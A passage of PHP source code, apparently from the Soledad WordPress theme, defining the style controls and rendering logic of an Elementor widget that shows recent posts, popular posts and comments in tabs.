		$this->add_control( 'tab_bd_color', array(
			'label'     => __( 'Tab Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li a,{{WRAPPER}} .penci_posts_tabs_widget .tabs' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_bg_color', array(
			'label'     => __( 'Tab Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'tabs_style' => 'box' ],
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li a' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_bg_hcolor', array(
			'label'     => __( 'Tab Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'tabs_style' => 'box' ],
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li a:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_bg_acolor', array(
			'label'     => __( 'Tab Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'tabs_style' => 'box' ],
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li.active a' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'tab_abg_color', array(
			'label'     => __( 'Tab Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .tabs ul > li.active a' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'tabs_item_size', array(
			'label'     => __( 'Tab Padding', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci_posts_tabs_widget .box-tabs .tabs ul > li a' => 'padding-top: {{SIZE}}px;padding-bottom: {{SIZE}}px;',
				'{{WRAPPER}} .penci_posts_tabs_widget .default-tabs .tabs'       => 'padding-bottom: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'tabs_title_spacing', array(
			'label'     => __( 'Tab Title Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci_posts_tabs_widget .tabs' => 'margin-bottom: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'ajaxnav', array(
			'label'   => __( 'Ajax Posts Navigation?', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''    => 'Disable',
				'nav' => 'Next/Previous Buttons',
				'btn' => 'Load More Button',
			]
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_image', array(
			'label' => __( 'Posts Typo & Color', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'fpost_title_typo',
			'label'    => __( 'Featured Post Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} ul.penci-wdtab-ct li.featured-news .side-item .side-item-text h4 a',
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'post_title_typo',
			'label'    => __( 'Post Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} ul.penci-wdtab-ct li:not(.featured-news) .side-item .side-item-text h4 a',
		) );

		$this->add_control( 'post_title_color', array(
			'label'     => __( 'Post Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text h4 a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'post_title_hcolor', array(
			'label'     => __( 'Post Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text h4 a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'post_title_tm', array(
			'label'     => __( 'Post Title Top Margin', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text h4' => 'margin-top: {{SIZE}}px;' ),
		) );

		$this->add_responsive_control( 'post_title_bm', array(
			'label'     => __( 'Post Title Bottom Margin', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text h4' => 'margin-bottom: {{SIZE}}px;' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'post_meta_typo',
			'label'    => __( 'Post Meta Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text .side-item-meta',
		) );

		$this->add_control( 'post_meta_color', array(
			'label'     => __( 'Post Meta Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text .side-item-meta,{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text .side-item-meta a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'post_meta_lcolor', array(
			'label'     => __( 'Post Meta Link Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text .side-item-meta a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'post_meta_hcolor', array(
			'label'     => __( 'Post Meta Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li .side-item .side-item-text .side-item-meta a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'post_meta_item_spacing', array(
			'label'     => __( 'Post Meta Items Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span:after' => 'margin: 0 {{SIZE}}px 0 {{SIZE}}px' ),
		) );

		$this->add_responsive_control( 'post_meta_tm', array(
			'label'     => __( 'Post Meta Top Margin', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta, {{WRAPPER}} .grid-post-box-meta.penci-side-item-meta.pcsnmt-above' => 'margin-top: {{SIZE}}px;' ),
		) );

		$this->add_responsive_control( 'post_meta_bm', array(
			'label'     => __( 'Post Meta Bottom Margin', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta, {{WRAPPER}} .grid-post-box-meta.penci-side-item-meta.pcsnmt-above' => 'margin-bottom: {{SIZE}}px;' ),
		) );

		$this->add_control( 'post_list_border_color', array(
			'label'     => __( 'Post Listing Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.penci-wdtab-ct li' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'post_counter_color', array(
			'label'     => __( 'Order Numbers Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.side-newsfeed li .number-post' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'post_counter_gcolor', array(
			'label'     => __( 'Order Numbers Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} ul.side-newsfeed li .number-post' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'timeline_line_color', array(
			'label'     => __( 'Timeline Line Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .side-newsfeed.pctlst' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'timeline_dot_color', array(
			'label'     => __( 'Timeline Dot Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .side-newsfeed.pctlst .penci-feed:before, {{WRAPPER}} .side-newsfeed.pctlst.pctl-s2 .penci-feed:before, {{WRAPPER}} .side-newsfeed.pctlst.pctl-s3 .penci-feed:before' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'timeline_dot_acolor', array(
			'label'     => __( 'Timeline Dot Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .side-newsfeed.pctlst .penci-feed:before, {{WRAPPER}} .side-newsfeed.pctlst.pctl-s2 .penci-feed:hover:before,{{WRAPPER}} .side-newsfeed.pctlst.pctl-s3 .penci-feed:hover:after' => 'background-color: {{VALUE}};' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_comments', array(
			'label' => __( 'Comments Typo & Color', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'comments_typo',
			'label'    => __( 'Comment Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .author-info,{{WRAPPER}} .author-info a',
		) );

		$this->add_control( 'comments_tabs_color', array(
			'label'     => __( 'Comment Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .author-info' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'comments_tabs_lcolor', array(
			'label'     => __( 'Comment Link Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .author-info a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'comments_tabs_hcolor', array(
			'label'     => __( 'Comment Link Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .author-info a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'comments_tabs_gbdcolor', array(
			'label'     => __( 'Comment List Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget.el .tab-comments ul li' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'comments_tabs_spacing', array(
			'label'     => __( 'Comment List Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget.el .tab-comments ul li:not(:last-child)' => 'margin-bottom: calc({{SIZE}}px/2);padding-bottom: calc({{SIZE}}px/2);' ),
		) );

		$this->add_responsive_control( 'comments_ava_size', array(
			'label'       => __( 'Avatar Image Size', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'render_type' => 'template',
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors'   => array( '{{WRAPPER}} .penci_posts_tabs_widget .recent-comments .avatar' => 'flex: 0 0 {{SIZE}}px;' ),
		) );

		$this->add_responsive_control( 'comments_ava_bdradius', array(
			'label'     => __( 'Avatar Image Border Radius', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array( '{{WRAPPER}} .penci_posts_tabs_widget .recent-comments .avatar img' => 'border-radius: {{SIZE}}px;' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'post_navigation_style', array(
			'label'     => __( 'Post Navigation', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [ 'ajaxnav!' => '' ]
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'post_nav_btn_typo',
			'label'    => __( 'Button Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title, {{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button',
		) );

		$this->add_control( 'post_nav_btn_color', array(
			'label'     => __( 'Button Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bdcolor', array(
			'label'     => __( 'Button Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bgcolor', array(
			'label'     => __( 'Button Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_hcolor', array(
			'label'     => __( 'Button Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bdhcolor', array(
			'label'     => __( 'Button Border Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bghcolor', array(
			'label'     => __( 'Button Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'background-color: {{VALUE}};',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$instance        = $this->get_settings();
		$sticky          = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
		$tabs_order      = isset( $instance['tabs_order'] ) ? $instance['tabs_order'] : 'recent_popular_comments';
		$tabs_style      = isset( $instance['tabs_style'] ) ? $instance['tabs_style'] : 'default';
		$ptfsfe          = isset( $instance['ptfsfe'] ) ? absint( $instance['ptfsfe'] ) : '';
		$ptfs            = isset( $instance['ptfs'] ) ? absint( $instance['ptfs'] ) : '';
		$pmfs            = isset( $instance['pmfs'] ) ? absint( $instance['pmfs'] ) : '';
		$row_gap         = isset( $instance['row_gap'] ) ? absint( $instance['row_gap'] ) : '';
		$imgwidth        = isset( $instance['imgwidth'] ) ? absint( $instance['imgwidth'] ) : '';
		$number_comments = isset( $instance['number_comments'] ) ? $instance['number_comments'] : 5;
		$tabs_icon       = isset( $instance['tabs_icon'] ) ? $instance['tabs_icon'] : false;
		$rand            = rand( 1000, 10000 );
		$tabs_order      = explode( '_', $tabs_order );
		$class           = $tabs_style . '-tabs';
		$this->markup_block_title( $instance, $this );
		?>
        <div class="widget penci_posts_tabs_widget el">
            <div class="penc-posts-tabs <?php echo esc_attr( $class ); ?>" id="pc-wpt-<?php echo $rand; ?>">
                <div class="tabs">
                    <ul>
						<?php $count = 1;
						foreach ( $tabs_order as $tab ) {
							if ( isset( $instance[ 'disable_' . $tab ] ) && ! $instance[ 'disable_' . $tab ] ) {
								$class = $count == 1 ? ' active' : '';
								echo '<li class="li-tab-' . $tab . $class . '" data-tab="tab-' . $tab . '"><a aria-label="Tab" href="#">' . penci_get_setting( 'penci_trans_' . $tab ) . '</a></li>';
								$count ++;
							}
						} ?>
                    </ul>
                </div>
                <div class="tabs-content">
					<?php $tcount = 1;
					foreach ( $tabs_order as $tab ) {
						$check = $tcount == 1;
						if ( isset( $instance[ 'disable_' . $tab ] ) && ! $instance[ 'disable_' . $tab ] ) {
							if ( $tab == 'popular' || $tab == 'recent' ) {
								$this->show_tabs_posts( $instance, $tab, $check );
							} else {
								$size_a = isset( $instance['comments_ava_size']['size'] ) ? $instance['comments_ava_size']['size'] : 70;
								$this->show_comment_posts( $instance, $number_comments, $size_a, $check );
							}
						}
						$tcount ++;
					} ?>
                </div>
            </div>
        </div>
		<?php
	}

	public function show_comment_posts( $settings, $number = 5, $size = 70, $is_active = false ) {
		$comments           = get_comments( [
			'number' => $number,
			'status' => 'approve',
		] );
		$class              = $is_active ? 'active' : 'inactive';
		$comments_count     = wp_count_comments();
		$comments_max_pages = $comments_count->approved > $number ? ceil( $comments_count->approved / $number ) : 1;
		?>
        <div class="tab-content-wrapper tab-comments recent-comments <?php echo $class; ?>">
			<?php if ( $comments ) { ?>
            <ul data-max="<?php echo $comments_max_pages; ?>" data-paged="1"
                data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_comments' ); ?>"
                data-action="penci_posts_tabs_widget_comments_ajax">
				<?php foreach ( $comments as $comment ) {
					if ( isset( $comment->comment_author_email ) && $comment->comment_author_email ) {
						$usergravatar = 'http://www.gravatar.com/avatar/' . md5( $comment->comment_author_email ) . '?s=' . $size;
					} else {
						$usergravatar = get_avatar_url( $comment->user_id );
					}
					echo '<li>
						        <a href="' . get_author_posts_url( $comment->user_id ) . '" class="avatar"><img src="' . $usergravatar . '" alt=""></a>
						        <div class="author-info"><a href="' . get_author_posts_url( $comment->user_id ) . '">' . $comment->comment_author . '</a> on <a href="' . get_permalink( $comment->comment_post_ID ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a></div>
						     </li>';
				} ?>
            </ul>
			<?php
			if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] == 'btn' ) {
				?>
                <div class="penci-pagination penci-ajax-more pcwg-lposts">
                    <a class="penci-ajax-more-button pc-tabsajax-btn penci-wgajx-btn"
                       href="#" aria-label="More Posts">
                        <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_comments' ); ?></span><span
                                class="ajaxdot"></span><i
                                class="penci-faicon fa fa-refresh"></i> </a>
                </div>
				<?php
			} else if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] == 'nav' ) { ?>
                <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                    <span class="pcajx-btn penci-wgajx-btn pc-tabsajax-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                    <span class="pcajx-btn penci-wgajx-btn pc-tabsajax-btn next"><?php echo '<span class="pcnav-title">' . penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                </div>
				<?php
			}
			if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] ) {
				?>
                <div class="pcwgajx-ld-wrapper">
					<?php echo penci_get_html_animation_loading( 'df' ); ?>
                </div>
				<?php
			}
		} else {
				echo '<p>' . penci_get_setting( 'penci_trans_no_comments' ) . '</p>';
			?>
			<?php } ?>
        </div>
		<?php
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	public function show_tabs_posts( $instance, $type, $first = false ) {
		$sticky        = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
		$sticky_value  = ( false == $sticky ) ? 0 : 1;
		$popular_order = isset( $instance['popular_order'] ) ? $instance['popular_order'] : 'all';
		$number        = isset( $instance['number'] ) ? $instance['number'] : '5';
		$offset        = isset( $instance['offset'] ) ? $instance['offset'] : '';
		$title_length  = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
		$featured      = isset( $instance['featured'] ) ? $instance['featured'] : false;
		$dotstyle      = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
		$movemeta      = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
		$twocolumn     = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
		$featured2     = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
		$ordernum      = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
		$allfeatured   = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
		$thumbright    = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
		$postdate      = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
		$icon          = isset( $instance['icon'] ) ? $instance['icon'] : false;
		$hide_thumb    = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
		$showauthor    = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
		$showcomment   = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
		$showviews     = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
		$showborder    = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
		$thumb_size    = isset( $instance['thumb_size'] ) ? $instance['thumb_size'] : 'penci-thumb-small';
		$fthumb_size   = isset( $instance['fthumb_size'] ) ? $instance['fthumb_size'] : 'penci-masonry-thumb';
		$query         = array(
			'meta_key'            => penci_get_postviews_key(),
			'orderby'             => 'meta_value_num',
			'order'               => 'DESC',
			'posts_per_page'      => $number,
			'post_type'           => 'post',
			'ignore_sticky_posts' => $sticky_value
		);

		if ( $popular_order == 'week' ) {
			$query = array(
				'posts_per_page' => $number,
				'meta_key'       => 'penci_post_week_views_count',
				'orderby'        => 'meta_value_num',
				'order'          => 'DESC',
			);
		} elseif ( $popular_order == 'month' ) {
			$query = array(
				'posts_per_page' => $number,
				'meta_key'       => 'penci_post_month_views_count',
				'orderby'        => 'meta_value_num',
				'order'          => 'DESC',
			);
		} elseif ( $popular_order == 'jetpack' ) {
			$query = array(
				'posts_per_page' => $number,
				'meta_key'       => '_jetpack_post_view',
				'orderby'        => 'meta_value_num',
				'order'          => 'DESC',
			);
		}
		if ( $offset ) {
			$query['offset'] = $offset;
		}

		if ( $type == 'recent' ) {
			$query    = array(
				'order'               => 'DESC',
				'posts_per_page'      => $number,
				'post_type'           => 'post',
				'ignore_sticky_posts' => $sticky_value
			);
			$ordernum = isset( $instance['ordernum_recent'] ) ? $instance['ordernum_recent'] : true;
		}

		$loop  = new \WP_Query( $query );
		$class = $first ? 'active' : 'inactive';
		?>

        <div class="tab-content-wrapper tab-<?php echo esc_attr( $type . ' ' . $class ); ?>">
            <ul data-settings='<?php echo json_encode( $instance ); ?>'
                data-paged="1"
                data-type="<?php echo esc_attr( $type ); ?>"
                data-action="penci_posts_tabs_widget_ajax"
                data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                data-max="<?php echo esc_attr( $loop->max_num_pages ); ?>"
                class="penci-wdtab-ct side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
				    if ( $featured ) {
					    echo ' penci-2columns-featured';
				    } else {
					    echo ' penci-2columns-feed';
				    } endif; ?><?php if ( ! $ordernum ): echo ' display-order-numbers'; endif;
			    if ( $dotstyle ) {
				    echo ' pctlst pctl-' . $dotstyle;
			    }
			    if ( $showborder ) {
				    echo ' penci-rcpw-hborders';
			    } ?>">

				<?php $num = 1;
				while ( $loop->have_posts() ) : $loop->the_post(); ?>

                    <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
						if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
						<?php if ( ! $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                            <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num ); ?></span>
								</span>
						<?php endif; ?>
                        <div class="side-item">
							<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                                <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
									<?php
									$size_pie = 'small';
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
									do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
									/* Display Review Piechart  */
									if ( function_exists( 'penci_display_piechart_review_html' ) ) {
										penci_display_piechart_review_html( get_the_ID(), $size_pie );
									}
									$thumb = $thumb_size;
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = $fthumb_size; endif;
									?>

                                    <a <?php echo penci_layout_bg( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumb ) ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
										echo '';
									} else {
										echo ' small-fix-size';
									} ?>" rel="bookmark"
                                       href="<?php the_permalink(); ?>"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
										<?php echo penci_layout_img( penci_get_image_size_url( penci_image_srcset( get_the_ID(), $thumb ) ), get_the_title() ); ?>
                                    </a>


									<?php if ( $icon ): ?>
										<?php if ( has_post_format( 'video' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'audio' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'link' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'quote' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'gallery' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
										<?php endif; ?>
									<?php endif; ?>
                                </div>
							<?php endif; ?>
                            <div class="side-item-text">
								<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                    <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
										<?php if ( $showauthor ): ?>
                                            <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        class="url fn n"
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $postdate ): ?>
                                            <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( $showcomment ): ?>
                                            <span class="side-item-meta side-wcomments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php if ( $showviews ): ?>
